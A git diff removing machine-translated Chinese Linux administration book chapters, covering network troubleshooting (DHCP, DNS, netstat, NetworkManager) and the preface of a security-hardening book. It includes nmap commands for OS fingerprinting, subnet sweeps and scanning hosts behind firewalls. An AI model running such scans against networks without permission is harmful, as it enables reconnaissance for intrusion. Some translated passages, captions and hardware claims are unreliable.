但是,在我的例子中,这个设备正在丢弃 ICMP 包,这将导致`traceroute`命令本身失败。 - -在排除路由问题时,一定要检查路由表。 我们在[第八章](08.html "Chapter 8. Understanding Advanced Networking Concepts")、*理解高级网络概念*中介绍了路由,并介绍了路由表和添加路由。 但是作为复习,您可以使用`route -n`将路由表打印到 shell 上。 如果正在进行故障排除的机器没有到它需要访问的网络的路由,那么根本原因很容易看出。 然后,您需要添加一个默认网关,以允许机器到达该网络。 - -![Tracing routing issues](img/b03919_10_03.jpg) - -查看本地路由表信息 - -# 处理 DHCP 问题 - -如果由于的原因,您的机器拒绝获取 IP 地址,那么这一节就是为您准备的。 DHCP 问题并不常见,值得庆幸的是,解决它并不太难。 - -我在 DHCP 服务器上看到的最常见的问题之一是服务器或客户端的日期和时间错误。 在 Linux 世界中,NTP 是至关重要的,并且应该一直工作。 在 DHCP 的情况下,它只在服务超时之前等待一个 IP 地址的请求。 如果时钟关闭了一个小时,而传入请求的时间戳是一小时前的,那么服务器和客户端将不会收到一个地址。 始终确保 NTP 在您的所有客户机和服务器上工作。 DHCP 并不是唯一一个两端时间都不正确的服务。 这种情况下会发生很多奇怪的事情。 - -失败的一个原因是缺少可用的 IP 地址。 这可能听起来很明显,但你会惊讶于这种情况发生的频率有多高。 即使是一个由`254`可用 IP 地址组成的`/24`网络现在也会迅速饱和,因为现在从移动设备到冰箱(是的,冰箱)的所有东西都想要声明一个 IP 地址。 一般人在没有注意到的情况下使用三个 IP 地址是很常见的。 如果您将 DHCP 租期设置为超过一天的时间,那么这样的问题就会变得越来越烦人。 在大多数情况下,24 小时的租赁时间对大多数网络来说是足够的。 需要访问的设备将在时间到来时续签租约,而临时设备将不会尝试续签他们被颁发的 IP,这将导致它返回池。 - -我希望我有一个神奇的命令,你可以运行,给你一个打印输出,你有多少 IP 地址可用。 不幸的是,除了可能构造一个笨重的 Bash 或 Python 脚本之外,我从未能够找到一个。 当遇到 DHCP 问题时,最好的方法是查看日志文件,并让客户端再次尝试连接。 - -![Troubleshooting DHCP issues](img/b03919_10_04.jpg) - -工作中的 DHCP 服务器的输出信息 - -在 Debian 中,您可以通过运行`cat /var/log/syslog |grep dhcp`来调查与 DHCP 服务器相关的消息。 在 CentOS 上,您可以使用`journalctl -u dhcpd`查看这些消息。 更好的方法是在客户机尝试连接时实时跟踪这些日志,这样您就可以看到输出。 要做到这一点,可以使用 Debian 中的`tail -f /var/log/syslog`或 CentOS 中的`journalctl -f -u dhcpd`。 来自 DHCP 服务器的错误应该很容易跟踪,因为服务器通常是特定的,它正在做什么。 您可能会看到它向客户端提供地址,或者抱怨没有足够的可用 IP 地址。 如果您看到服务器提供一个 IP 地址给客户端,但客户端似乎没有完成连接,那么一定要检查客户端上的 NTP 服务器。 - -# DNS 故障处理 - -DNS 问题通常很少出现,除非是无效配置的情况。 在大多数情况下,任何故障排除都是在本地 DNS 服务器上完成的,因为 Internet 上的公共 DNS 服务器不在您的控制范围之内。 在外部 DNS 服务器失败的情况下,例如来自 ISP 的 DNS 服务器,您惟一的办法可能是使用不同的 DNS 提供商,例如利用谷歌的公共 DNS 地址`8.8.8.8`和`8.8.4.4`。 但在本地 DNS 服务器失败的情况下,您有更多的控制权。 - -与往常一样,您将通过检查是否能够访问 DNS 服务器来开始排除 DNS 问题。 首先,检查`/etc/resolv.conf`,看看您的机器正在使用哪个 DNS 服务器。 它是正确的服务器吗? 如果不是,请在网络脚本中更正此错误并重新启动网络。 如果它是正确的服务器,你能到达它吗? 尝试一个简单的 ping,只要将服务器配置为响应 ICMP echo 请求,您应该会看到响应。 如果可以访问服务器,请通过 SSH 进入服务器并检查其日志。 也许守护进程(Debian 中的`bind`和 CentOS 中的`named`)没有运行。 - -除了简单的事情,我们还可以使用一个特定的实用程序来帮助解决绑定特定的问题,这个实用程序就是`nslookup`。 将`nslookup`命令与要查找的资源的名称一起使用,例如主机名或网站的 URL。 - -![Troubleshooting DNS issues](img/b03919_10_05.jpg) - -工作中的 DHCP 服务器的输出信息 - -`nslookup`的输出告诉我们一些有用的东西,可以用来进一步排除故障。 首先,它将提供响应我们请求的服务器的 IP 地址。 在我的例子中,`10.10.96.1`通过端口 53 应答。 然后,我可以看到我对`packtpub.com`的查询结果,它给我一个外部 IP 地址`83.166.169.231`。 到目前为止,一切顺利。 如果您的 DNS 服务器是可达的,守护进程正在运行,并且您的本地工作站被配置为指向它,一个非常常见的问题是您的域记录中的序列号。 如果您已经向 DNS 服务器添加了资源,但忘记增加序列号,即使您为该主机添加了配置,也可能导致查找失败。 这似乎是常识,但你会惊讶于它是多么容易忘记。 - -在`nslookup`没有返回记录的事件中,检查是否已经将该记录添加到服务器。 如果它确实响应了一个记录,那么只要您配置了本地工作站来指向正确的服务器,那么一切都应该运行得很顺利。 - -# 使用 netstat 显示连接统计信息 - -`netstat`命令是一个有用的实用工具,它允许您查看有关当前连接的一些统计信息。 我们在上一章略微谈到了这一点。 这个命令允许您显示有用的网络信息,比如显示正在监听网卡上的连接的服务,以及打印路由表等。 - -在上一章中,我给出了`netstat -tulpn`的例子,让您可以查看当前连接和侦听的服务。 该命令显示正在侦听的所有内容,以及正在侦听的端口。 我们将这个命令分解,并传递一些参数。 第一个,`-t`,表示我们想要查看与 TCP 有关的信息,`-u`表示 UDP,`-l`请求侦听套接字,`-p`试图显示程序的名称,`-n`还显示数值。 综上所述,我们得到`netstat -tulpn`。 在业内,这是我见过的`netstat`最常见的用法。 - -`netstat`的其他用法包括显示您的路由表(`netstat -r`),它将提供与`route -n`相似的输出。 使用`netstat -s`查看连接统计信息。 最后,您还可以使用`netstat -i`查看系统上的网络接口列表。 不过,在大多数情况下,您最常使用这个命令将网络信息打印到终端,在尝试排除问题或锁定节点时,可以使用该命令进行进一步分析。 - -# 使用 Nmap 和 Zenmap 扫描您的网络 - -`nmap`实用程序是一个网络扫描仪,它可以为提供大量关于网络资源的信息。 您所要做的就是安装`nmap`包。 一旦在您的工具库中有了这个实用程序,您就可以在您的网络上做一些非常整洁的事情。 在大多数情况下,`nmap`用于询问系统和提取信息。 虽然`nmap`本身不能解决任何实际问题,但它可以帮助您发现可以使用的信息,以便了解您的网络在任何给定时间发生的情况。 - -它也需要非常小心地使用,因为`nmap`能够披露关于一个可能是私人的网络的信息,除非您有明确的许可使用它,否则您应该谨慎行事。 由于`nmap`可以用于黑客攻击,如果网络管理员(如果那个人不是您)在网络上看到这种类型的活动,这无疑是一个危险信号。 但在现实场景中,`nmap`可以真正起到拯救生命的作用。 根据我的经验,我发现它在追踪和询问网络上承载恶意软件的机器时非常有用,奇怪的是,这些机器似乎总是运行 Windows(去想吧)。 如果漏洞报告只显示了受感染机器的 IP 地址,那么可能很难跟踪这是谁的机器。 但是,使用`nmap`,我可以找到一些东西,比如该主机上运行的是哪个操作系统、机器的主机名(甚至可能包括用户名),以及该机器网卡的 MAC 地址。 - -`nmap`有很多用法,但我将从一些我最喜欢的开始。 首先,正如我刚才提到的,您可以使用`nmap`来尝试确定特定主机正在使用的操作系统。 这将允许您进一步调优命令,以特定地针对机器,因为您调查节点的方式会根据它们运行的操作系统而有所不同。 要使用`nmap`尝试查找此信息,请将其与`-O`参数和主机的 IP 地址一起使用。 基本上,执行以下命令: - -```sh -nmap -O 10.10.98.124 - -``` - -`nmap`的另一个有用的用例是扫描整个子网以确定连接的主机。 如果你试图看到哪些 IP 地址是空闲的,这是一种方法(假设没有节点有任何防火墙阻止扫描): - -```sh -nmap -sP 10.10.96.0/22 - -``` - -在前面的例子中,如果希望某个特定的 IP 地址不被扫描或包含,我们也可以使用`--exclude`选项: - -```sh -nmap -sP 10.10.96.0/22 --exclude 10.10.98.223 - -``` - -如果一台机器在防火墙后面,我们可以尝试扫描它: - -```sh -nmap -PN 10.10.98.104 - -``` - -如果我们还没有足够的实用程序来显示本地机器的路由和接口信息,`nmap`也可以做到这一点: - -```sh -nmap --iflist - -``` - -除了在终端中使用`nmap`命令之外,还有 Z**enmap**命令,它或多或少相当于 GUI。 使用它,我们可以做与`nmap`几乎相同的事情,但除此之外,它允许您保存您的扫描,打开先前保存的扫描,比较两个保存的扫描之间的结果,甚至保存命令配置文件以供以后使用。 如果您发现自己在通常的基础上使用`nmap`,那么从 Zenmap 添加的特性中获益可能对您很有用。 - -![Scanning your network with Nmap and Zenmap](img/b03919_10_06.jpg) - -扫描本地网络的 Zenmap - -从开始测试 Zenmap 的一个简单方法是使用我在本章中给出的例子进行尝试。 您应该能够将这些命令中的任何一个粘贴到窗口顶部的第三个文本框中,该文本框为**Command**。 从这里点击**Scan**开始扫描。 一旦完成,您可以通过点击**扫描**,然后**保存扫描**来保存结果。 正如前面提到的,您还可以相互比较扫描结果。 如果您想知道哪些新设备已添加到您的网络中,那么这将非常有用。 您可以在某一天运行子网扫描(使用前面给出的`nmap -sP 10.10.98.0/24`示例),然后在第二天再次运行扫描。 如果您每次保存结果,您可以比较它们,然后立即确定是否有新设备添加到您的网络。 无论如何,这是一个定期执行的好习惯(特别是如果你是被指定审批新设备的人),以确定是否有任何流氓或未经授权的设备存在。 - -![Scanning your network with Nmap and Zenmap](img/b03919_10_07.jpg) - -在 Zenmap 中比较网络扫描 - -在使用`nmap`和 Zenmap 之间做出选择只是一个偏好问题。 Zenmap 的特性非常好,但它提供的唯一功能就是易于使用。 例如,在`nmap`中,您可以自己简单地将结果管道到一个文本文件中,然后您可以针对两个输出文件的结果运行`diff`命令,而无需使用 GUI 应用来执行此任务。 - -```sh -nmap -sP 10.10.98.0/24 > scan1.txt -nmap -sP 10.10.98.0/24 > scan2.txt -diff scan1.txt scan2.txt - -``` - -在一个典型的网络管理员的桌面上,您将使用 Linux 或 Windows 安装和图形化用户界面; 在这种情况下,Zenmap 可能非常适合添加到您的工具集中。 - -# 在 Debian 系统上安装丢失的固件 - -许多 Linux 的发行版在默认情况下倾向于只包含自由软件和驱动程序,Debian 就属于这一类。 其原因可能是由于道德决定或许可限制,但结果可能是特定的网卡或硬件设备不再正常工作。 通常,这是非常典型的无线卡。 其中一个例子就是英特尔无线网卡。 当涉及到最终用户发行版(Ubuntu、Linux Mint 等)时,这些通常不需要任何修改就可以工作,而企业发行版(如 Debian)通常不包括这些,并强迫您跳过额外的障碍。 原因是这些卡运行所需的软件不是开源的,所以决定不把它包含在默认存储库中。 值得庆幸的是,如果你知道这些步骤,这通常并不太难纠正。 - -在 Debian 系统上,有一个非自由参数可以添加到您的 APT 源代码中,告诉发行版您希望在搜索和安装软件时包含这样的软件包。 但是在您这样做之前,请确保您确实需要额外的固件。 一个致命的漏洞是,如果 Debian 在启动时抱怨缺少固件。 如果不重新启动,您可能会在日志中看到抱怨硬件设备缺少固件的错误。 要查看系统上可能抱怨缺少固件的任何输出,请尝试以下命令: - -```sh -dmesg |grep firmware - -``` - -要在 Debian 中添加 APT 源代码中的非免费组件,首先要备份原始的`sources.list`文件: - -```sh -# cp /etc/apt/sources.list /etc/apt/sources.list.bak - -``` - -然后,将非自由参数添加到主存储库中。 在我的 Debian Jessie 系统中,这条线是这样的: - -```sh -deb http://ftp.us.debian.org/debian/ jessie main contrib non-free - -``` - -一旦完成,用下面的命令刷新你的源代码: - -```sh -# apt-get update - -``` - -从现在开始,您应该可以使用非免费的二进制包。 您可以通过搜索并列出系统上可用的固件包来确认这一点。 输出应该包含几个`nonfree`包。 要执行此搜索,请尝试以下命令: - -```sh -aptitude search firmware - -``` - -例如,如果`firmware-linux-nonfree`显示在可用包的列表中,那么您已经正确地执行了这些步骤。 - -不幸的是,详细列出 Debian 硬件兼容性的完整列表以及每种软件所需的固件超出了本书的范围。 然而,日志应该给您一个关于固件丢失了什么的大致概念,允许您搜索包数据库以找到特定的包。 通常,从`dmesg`复制一行关于加载固件失败的输出,然后执行谷歌搜索,就可以找到解决这种情况所需要的包。 在我的例子中,我遇到的最常用的固件包是`firmware-iwlwifi`。 此外,`firmware-atheros`和`firmware-b43-installer`也很常见。 - -# 网络管理器故障排除 - -**网络管理器**是 Linux 系统中用于管理网络连接的工具。 它包括一个在后台运行的守护进程,以及一个可选的图形实用程序,大多数桌面发行版都包含该实用程序,用于在任何给定时间显示您的连接状态。 无论如何都不需要 Network Manager,但是它简化了网络接口及其配置的管理。 在许多真实的网络中,通常禁用 Network Manager,而使用静态 IP 地址。 到目前为止,我已经多次提到,比起静态 ip,我更喜欢静态租约。 使用静态 IP 时,您没有中心点进行管理,并且需要手动跟踪和更改服务器的 IP 地址。 正是出于这个原因,我建议您继续运行网络管理器。 它将观察连接,激活你的 DHCP 客户端,然后从你的 DHCP 服务器收到一个 IP 地址租约。 如果您已经设置了一个静态租约(预订),那么在 Network Manager 启动您的连接时,您就已经准备好了。 - -如果您已经将网络问题排除为网络管理器本身的局部问题,那么您可以做几件事来查明问题。 - -首先,在 CentOS 系统上,确保您的网络接口配置为在启动时启动。 由于某些原因,我不能理解,CentOS 实际上默认关闭网络接口在安装期间。 除非您在运行安装程序时打开它,否则在启动后默认也将禁用它。 如果该接口没有启用,那么网络管理器将无法管理它。 要纠正这个错误,只需编辑接口的初始化脚本。 你可以在 CentOS 中找到网络接口卡的初始化脚本:`/etc/sysconfig/network-scripts`。 在我的系统上,我在`/etc/sysconfig/network-scripts/ifcfg-enp0s3`找到了接口卡的`init`脚本,不过接口的名称当然会有所不同。 - -看最后一行,你应该看到`ONBOOT="yes"`。 如果你没有看到,修改这一行,然后重新启动网络: - -```sh -# systemctl restart network - -``` - -其次,在 Debian 和 CentOS 系统上,检查以确保 Network Manager 正在运行。 这是在两个发行版中执行某些操作的命令相同的罕见情况之一。 使用下面的命令,我们可以检查 NetworkManager 守护进程的状态: - -```sh -# systemctl status NetworkManager - -``` - -虽然故障诊断问题,`systemctl`可以是非常有用的,因为它不仅告诉你服务是否启动,它也给你一把线从日志,可以点你在正确的方向上如果你遇到一个问题。 - -要完整地阅读 Network Manager 日志,可以使用`journalctl`: - -```sh -journalctl -u NetworkManager - -``` - -您还可以使用`-f`标志来跟踪日志,这样就可以在新条目出现时看到它们。 这在诊断为什么机器不能连接到无线网络时特别有用。 当用户试图连接时将出现错误。 下面的示例展示了如何跟踪写入日志的 NetworkManager 输出。 - -```sh -journalctl -f -u NetworkManager - -``` - -与大多数 systemd 单元一样,我们可以用一个简单的命令重启 Network Manager: - -```sh -# systemctl restart NetworkManager - -``` - -前面的命令看起来很简单,但是由于某些原因,我不得不多次重启 Network Manager。 在将机器从一个网络切换到另一个网络时,或者从挂起状态恢复时尤其如此(尽管这些问题主要只出现在终端用户工作站上)。 - -在大多数情况下,Network Manager 的问题很少出现,并且故障排除相对简单。 使用 systemd 的`journalctl`,我们可以观察 Network Manager 的输出并确定根本原因。 在大多数情况下,问题会归结为网卡配置错误。 - -# 总结 - -在本章中,我们介绍了一些在基于 linux 的网络中可能出现的故障排除方法。 虽然不可能详细描述每一件可能出错的事情,但本章可以作为你可能面临的常见问题的起点。 我们首先研究路由问题以及 DHCP 和 DNS 故障排除。 此外,我们还介绍了一些有用的故障诊断工具,如`nmap`,并概述了如何安装在 Debian 中设置网卡时可能需要的固件。 最后,我们介绍了排除网络管理器故障的相关信息。 - -至此,这本书结束了。 感谢你们和我一起踏上了 Linux 网络管理的旅程。 我希望这本书能引起你的共鸣,帮助你更好地理解。 与 Linux 打交道是我所做过的最好的职业选择,我要感谢我所有的读者和同事,是他们让我有了如此美妙的经历。 对你们所有人,我祝愿你们成功,我希望你们通过 Linux 的旅程能够像我一样受益。 \ No newline at end of file diff --git a/docs/master-linux-net-admin/README.md b/docs/master-linux-net-admin/README.md deleted file mode 100644 index 34e4302e..00000000 --- a/docs/master-linux-net-admin/README.md +++ /dev/null @@ -1,67 +0,0 @@ -# 精通 Linux 网络管理 - -> 原文:[Mastering Linux Network Administration](https://libgen.rs/book/index.php?md5=BC997E7C6B3B022A741EFE162560B1CA) -> -> 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/) -> -> 阶段:机翻(1) -> -> 自豪地采用[谷歌翻译](https://translate.google.cn/) -> -> 这世界上有一种鸟是没有脚的,它只能够一直的飞呀飞呀,飞累了就在风里面睡觉,这种鸟一辈子只能下地一次,那一次就是它死亡的时候。——《阿飞正传》 - -* [在线阅读](https://linux.apachecn.org) -* [在线阅读(Gitee)](https://apachecn.gitee.io/apachecn-linux-zh/) -* [ApacheCN 学习资源](http://docs.apachecn.org/) - -## 目录 - -+ [笨办法学 Linux 中文版](docs/llthw-zh/SUMMARY.md) - -## 贡献指南 - -本项目需要校对,欢迎大家提交 Pull Request。 - -> 请您勇敢地去翻译和改进翻译。虽然我们追求卓越,但我们并不要求您做到十全十美,因此请不要担心因为翻译上犯错——在大部分情况下,我们的服务器已经记录所有的翻译,因此您不必担心会因为您的失误遭到无法挽回的破坏。(改编自维基百科) - -## 联系方式 - -### 负责人 - -* [飞龙](https://github.com/wizardforcel): 562826179 - -### 其他 - -* 在我们的 [apachecn/apachecn-linux-zh](https://github.com/apachecn/apachecn-linux-zh) github 上提 issue. -* 发邮件到 Email: `apachecn@163.com`. -* 在我们的 [组织学习交流群](http://www.apachecn.org/organization/348.html) 中联系群主/管理员即可. - -## 下载 - -### Docker - -``` -docker pull apachecn0/apachecn-linux-zh -docker run -tid -p :80 apachecn0/apachecn-linux-zh -# 访问 http://localhost:{port} 查看文档 -``` - -### PYPI - -``` -pip install apachecn-linux-zh -apachecn-linux-zh -# 访问 http://localhost:{port} 查看文档 -``` - -### NPM - -``` -npm install -g apachecn-linux-zh -apachecn-linux-zh -# 访问 http://localhost:{port} 查看文档 -``` - -## 赞助我们 - -![](http://data.apachecn.org/img/about/donate.jpg) diff --git a/docs/master-linux-net-admin/SUMMARY.md b/docs/master-linux-net-admin/SUMMARY.md deleted file mode 100644 index d63f2f25..00000000 --- a/docs/master-linux-net-admin/SUMMARY.md +++ /dev/null @@ -1,12 +0,0 @@ -+ [精通 Linux 网络管理](README.md) -+ [零、前言](00.md) -+ [一、设置环境](01.md) -+ [二、重温 Linux 网络基础](02.md) -+ [三、通过 SSH 在节点之间通信](03.md) -+ [四、设置文件服务器](04.md) -+ [五、监控系统资源](05.md) -+ [六、配置网络服务](06.md) -+ [七、通过 Apache 托管 HTTP 内容](07.md) -+ [八、了解高级组网概念](08.md) -+ [九、防护您的网络](09.md) -+ [十、故障诊断网络问题](10.md) diff --git a/docs/master-linux-sec-hard/00.md b/docs/master-linux-sec-hard/00.md deleted file mode 100644 index c3d155cc..00000000 --- a/docs/master-linux-sec-hard/00.md +++ /dev/null @@ -1,119 +0,0 @@ -# 零、前言 - -在本书中,我们将介绍适用于任何基于 Linux 的服务器或工作站的安全和加固技术。我们的目标是让坏人更难对你的系统做坏事。 - -# 这本书是给谁的 - -我们这本书的目标是面向一般的 Linux 管理员,不管他们是否专门研究 Linux 安全性。我们介绍的技术既可以在 Linux 服务器上使用,也可以在 Linux 工作站上使用。 - -我们假设我们的目标受众对 Linux 命令行有一些实际操作经验,并且对 Linux 基本知识有所了解。 - -# 这本书涵盖了什么 - -[第 1 章](01.html)、*在虚拟环境中运行 Linux*概述了 IT 安全领域,并将告知读者为什么学习 Linux 安全将是一个不错的职业发展。我们还将展示如何为实践实验室设置虚拟实验室环境。 - -[第 2 章](02.html)、*保护用户账户*,讲述了始终使用根用户账户的危害,并介绍了改用`sudo`的好处。然后,我们将介绍如何锁定普通用户帐户,并确保用户使用高质量的密码。 - -[第 3 章](03.html)、*用防火墙保护您的服务器–第 1 部分*,涉及使用各种类型的防火墙实用程序。 - -[第 4 章](04.html)、*用防火墙保护您的服务器–第 2 部分,*涉及使用各种类型的防火墙实用程序。 - -[第 5 章](05.html)、*加密技术*,确保重要信息——无论是静态信息还是传输中的信息——都受到适当加密的保护。 - -[第 6 章](06.html)*SSH 加固*,讲述了如何保护传输中的数据。默认的安全外壳配置一点也不安全,如果保持不变,可能会导致安全漏洞。本章展示了如何解决这个问题。 - -[第 7 章](07.html)*掌握自主访问控制*,讲述如何设置文件和目录的所有权和权限。我们还将介绍 SUID 和 SGID 能为我们做些什么,以及使用它们的安全影响。我们将通过覆盖扩展的文件属性来总结一下。 - -[第 8 章](08.html)、*访问控制列表和共享目录管理*解释了正常的 Linux 文件和目录权限设置不是很精细。使用访问控制列表,我们可以只允许某个人访问一个文件,也可以允许多人以每个人不同的权限访问一个文件。我们还将把我们所学的知识放在一起,以便为一个组管理一个共享目录。 - -[第 9 章](09.html)、*用 SELinux 和 appamor*实现强制访问控制,讲的是 SELinux,这是红帽型 Linux 发行版中包含的强制访问控制技术。我们将在这里简单介绍如何使用 SELinux 来防止入侵者危害系统。AppArmor 是另一种强制访问控制技术,包含在 Ubuntu 和 Suse 类型的 Linux 发行版中。我们将在这里简单介绍如何使用 AppArmor 来防止入侵者破坏系统。 - -[第 10 章](10.html)、*内核加固和进程隔离*,讲述了如何调整 Linux 内核,使其更安全地抵御某些类型的攻击。它还涵盖了一些进程隔离技术,以帮助防止攻击者利用 Linux 系统。 - -[第 11 章](11.html)、*扫描、审计和加固*谈到病毒对 Linux 用户来说还不是一个大问题,但对 Windows 用户来说却是个大问题。如果您的组织有访问 Linux 文件服务器的 Windows 客户端,那么这一部分适合您。您可以使用 auditd 来审计对 Linux 系统上的文件、目录或系统调用的访问。它不会防止安全漏洞,但它会让您知道是否有未经授权的人试图访问敏感资源。安全内容应用协议是由国家标准和技术研究所颁布的一个合规性框架。开源实现 OpenSCAP 可用于对 Linux 计算机应用加固策略。 - -[第 12 章](12.html)、*日志记录和日志安全*,为您介绍了 ryslog 和 journald 的基本知识,这是基于 Linux 的操作系统中最流行的两种日志记录系统。我们将向您展示一种让日志审查更容易的酷方法,以及如何设置一个安全的中央日志服务器。我们将使用您的正常 Linux 发行版存储库中的包来完成所有这些工作。 - -[第 13 章](13.html)*漏洞扫描和入侵检测*解释了如何扫描我们的系统,看看我们是否错过了什么,因为我们已经学会了如何配置我们的系统以获得最佳安全性。我们还将快速了解一下入侵检测系统。 - -[第 14 章](14.html)*大忙人的安全提示和诀窍*解释说,既然你在处理安全问题,我们知道你是一只忙碌的蜜蜂。所以,这一章向你介绍一些快速的提示和技巧,帮助你让工作变得更容易。 - -# 充分利用这本书 - -要充分利用这本书,你不需要太多。然而,以下事情会很有帮助: - -* 基本的 Linux 命令和如何浏览 Linux 文件系统的实用知识 -* 关于 less 和 grep 等工具的基本知识 -* 熟悉命令行编辑工具,如 vim 或 nano -* 如何使用 systemctl 命令控制 systemd 服务的基本知识 - -对于硬件,你不需要任何花哨的东西。您只需要一台能够运行 64 位虚拟机的机器。因此,您可以使用任何运行几乎任何现代英特尔或 AMD 中央处理器的主机。(此规则的例外是英特尔酷睿 i3 和酷睿 i5 处理器。尽管它们是 64 位 CPU,但它们缺乏运行 64 位虚拟机所需的硬件加速。具有讽刺意味的是,旧得多的英特尔酷睿 2 处理器和 AMD 皓龙处理器工作正常。)对于内存,我建议至少 8 GB。 - -您可以在您的主机上运行三种主要操作系统中的任何一种,因为我们将使用的虚拟化软件有 Windows、macOS 和 Linux 版本。 - -# 下载示例代码文件 - -你可以从你在[www.packt.com](http://www.packt.com)的账户下载这本书的示例代码文件。如果您在其他地方购买了这本书,您可以访问[www.packtpub.com/support](https://www.packtpub.com/support)并注册将文件直接通过电子邮件发送给您。 - -您可以按照以下步骤下载代码文件: - -1. 登录或注册[www.packt.com](http://www.packt.com)。 -2. 选择“支持”选项卡。 -3. 点击代码下载。 -4. 在搜索框中输入图书的名称,并按照屏幕指示进行操作。 - -下载文件后,请确保使用最新版本的解压缩文件夹: - -* 视窗系统的 WinRAR/7-Zip -* zipeg/izp/un ARX for MAC -* 适用于 Linux 的 7-Zip/PeaZip - -这本书的代码包也托管在 GitHub 上,网址为[https://GitHub . com/PacktPublishing/Mastering-Linux-Security-and-Harding-第二版](https://github.com/PacktPublishing/Mastering-Linux-Security-and-Hardening-Second-Edition)。如果代码有更新,它将在现有的 GitHub 存储库中更新。 - -我们还有来自丰富的图书和视频目录的其他代码包,可在**[【https://github.com/PacktPublishing/】](https://github.com/PacktPublishing/)**获得。看看他们! - -# 下载彩色图像 - -我们还提供了一个 PDF 文件,其中包含本书中使用的截图/图表的彩色图像。可以在这里下载:[http://www . packtpub . com/sites/default/files/downloads/9781838981778 _ color images . pdf](http://www.packtpub.com/sites/default/files/downloads/Bookname_ColorImages.pdf)。 - -# 使用的约定 - -本书通篇使用了许多文本约定。 - -`CodeInText`:表示文本中的码字、数据库表名、文件夹名、文件名、文件扩展名、路径名、虚拟网址、用户输入和推特句柄。下面是一个例子:“下载 Ubuntu Server 18.04、CentOS 7 和 CentOS 8 的安装`.iso`文件。” - -代码块设置如下: - -```sh -//Unattended-Upgrade::Automatic-Reboot "false"; - Unattended-Upgrade::Automatic-Reboot "true"; -``` - -任何命令行输入或输出都编写如下: - -```sh -sudo apt update -sudo apt dist-upgrade -``` - -**粗体**:表示一个新的术语、一个重要的单词或者你在屏幕上看到的单词。例如,菜单或对话框中的单词像这样出现在文本中。这里有一个例子:“花一些时间仔细阅读常见漏洞和暴露数据库,你很快就会明白为什么保持系统更新如此重要。” - -Warnings or important notes appear like this. Tips and tricks appear like this. - -# 取得联系 - -我们随时欢迎读者的反馈。 - -**一般反馈**:如果你对这本书的任何方面有疑问,在你的信息主题中提到书名,发邮件给我们`customercare@packtpub.com`。 - -**勘误表**:虽然我们已经尽了最大的努力来保证内容的准确性,但是错误还是会发生。如果你在这本书里发现了一个错误,如果你能向我们报告,我们将不胜感激。请访问[www.packtpub.com/support/errata](https://www.packtpub.com/support/errata),选择您的图书,点击勘误表提交链接,并输入详细信息。 - -**盗版**:如果您在互联网上遇到任何形式的我们作品的非法拷贝,如果您能提供我们的位置地址或网站名称,我们将不胜感激。请通过`copyright@packt.com`联系我们,并提供材料链接。 - -**如果你有兴趣成为一名作者**:如果有一个你有专长的话题,你有兴趣写或者投稿一本书,请访问[authors.packtpub.com](http://authors.packtpub.com/)。 - -# 复习 - -请留下评论。一旦你阅读并使用了这本书,为什么不在你购买它的网站上留下评论呢?然后,潜在的读者可以看到并使用您不带偏见的意见来做出购买决定,我们在 Packt 可以了解您对我们产品的看法,我们的作者可以看到您对他们的书的反馈。谢谢大家! - -更多关于 Packt 的信息,请访问[packt.com](http://www.packt.com/)。 \ No newline at end of file diff --git a/docs/master-linux-sec-hard/01.md b/docs/master-linux-sec-hard/01.md deleted file mode 100644 index 04464c74..00000000 --- a/docs/master-linux-sec-hard/01.md +++ /dev/null @@ -1,621 +0,0 @@ -# 一、在虚拟环境中运行 Linux - -所以,你可能会问自己:*为什么我需要学习 Linux 安全?Linux 不是已经安全了吗?毕竟不是 Windows。*但事实是,原因有很多。 - -在安全性方面,Linux 确实比 Windows 有一定的优势。其中包括以下内容: - -* 与 Windows 不同,Linux 是作为一个多用户操作系统从头开始设计的。因此,在 Linux 系统上,用户安全性往往会好一点。 -* Linux 在管理用户和非特权用户之间提供了更好的隔离。这让入侵者更难对付,也让用户更难不小心用一些讨厌的东西感染 Linux 机器。 -* Linux 比 Windows 更能抵抗病毒和恶意软件感染。某些 Linux 发行版带有内置机制,例如红帽和 CentOS 中的 SELinux,以及 Ubuntu 中的 AppArmor,可以防止入侵者控制系统。 -* Linux 是一个免费的开源软件。这使得任何有能力审计 Linux 代码的人都可以寻找 bug 或后门。 - -但是即使有这些优势,Linux 也和人类创造的其他东西一样。也就是说,它并不完美。 - -以下是我们将在本章中介绍的主题: - -* 展望威胁前景 -* 为什么每个 Linux 管理员都需要了解 Linux 安全性 -* 介绍一下威胁形势,并举例说明攻击者有时是如何入侵 Linux 系统的 -* 了解信息技术安全新闻的资源 -* 物理、虚拟和云设置之间的差异 -* 使用 VirtualBox 设置 Ubuntu Server 和 CentOS 虚拟机,并在 CentOS 虚拟机中安装**企业 Linux 额外软件包** ( **EPEL** )存储库 -* 创建虚拟机快照 -* 在 Windows 主机上安装 Cygwin,以便 Windows 用户可以从其 Windows 主机连接到虚拟机 -* 使用 Windows 10 Bash 外壳访问 Linux 系统 -* 如何保持你的 Linux 系统的更新 - -# 展望威胁前景 - -如果您在过去几年中一直关注信息技术新闻,您可能会看到至少几篇关于攻击者如何危害 Linux 服务器的文章。例如,虽然 Linux 确实不容易受到病毒感染,但也有几次攻击者在 Linux 服务器上植入了其他类型的恶意软件。这些案例包括以下内容: - -* **僵尸网络恶意软件**:这导致服务器加入由远程攻击者控制的僵尸网络。其中一个比较著名的案例是将 Linux 服务器加入一个僵尸网络,该网络对其他网络发起了**拒绝服务** ( **DoS** )攻击。 -* **Ransomware** :这是为了加密用户数据,直到服务器所有者支付赎金。但是即使支付了费用,也不能保证数据可以恢复。 -* **Cryptocoin 挖矿软件**:这导致它所植入的服务器的 CPU 额外的工作,消耗更多的能量。被挖掘的加密硬币会被植入该软件的攻击者所利用。 - -当然,还有很多不涉及恶意软件的漏洞,例如攻击者找到了窃取用户凭据、信用卡数据或其他敏感信息的方法。 - -Some security breaches come about because of plain carelessness. Here's an example of where a careless Adobe administrator placed the company's private security key on a public security blog: [https://arstechnica.com/information-technology/2017/09/in-spectacular-fail-adobe-security-team-posts-private-pgp-key-on-blog/](https://arstechnica.com/information-technology/2017/09/in-spectacular-fail-adobe-security-team-posts-private-pgp-key-on-blog/). - -# 为什么会发生安全漏洞? - -无论您运行的是 Linux、Windows 还是其他什么,安全漏洞的原因通常都是一样的。它们可能是操作系统中的安全漏洞,也可能是运行在该操作系统上的应用中的安全漏洞。通常,如果管理员及时应用安全更新,与 bug 相关的安全漏洞是可以防止的。 - -另一个大问题是服务器配置不佳。一个标准的、现成的 Linux 服务器配置实际上是非常不安全的,可能会导致很多问题。服务器配置不佳的一个原因仅仅是缺乏经过适当培训的人员来安全地管理 Linux 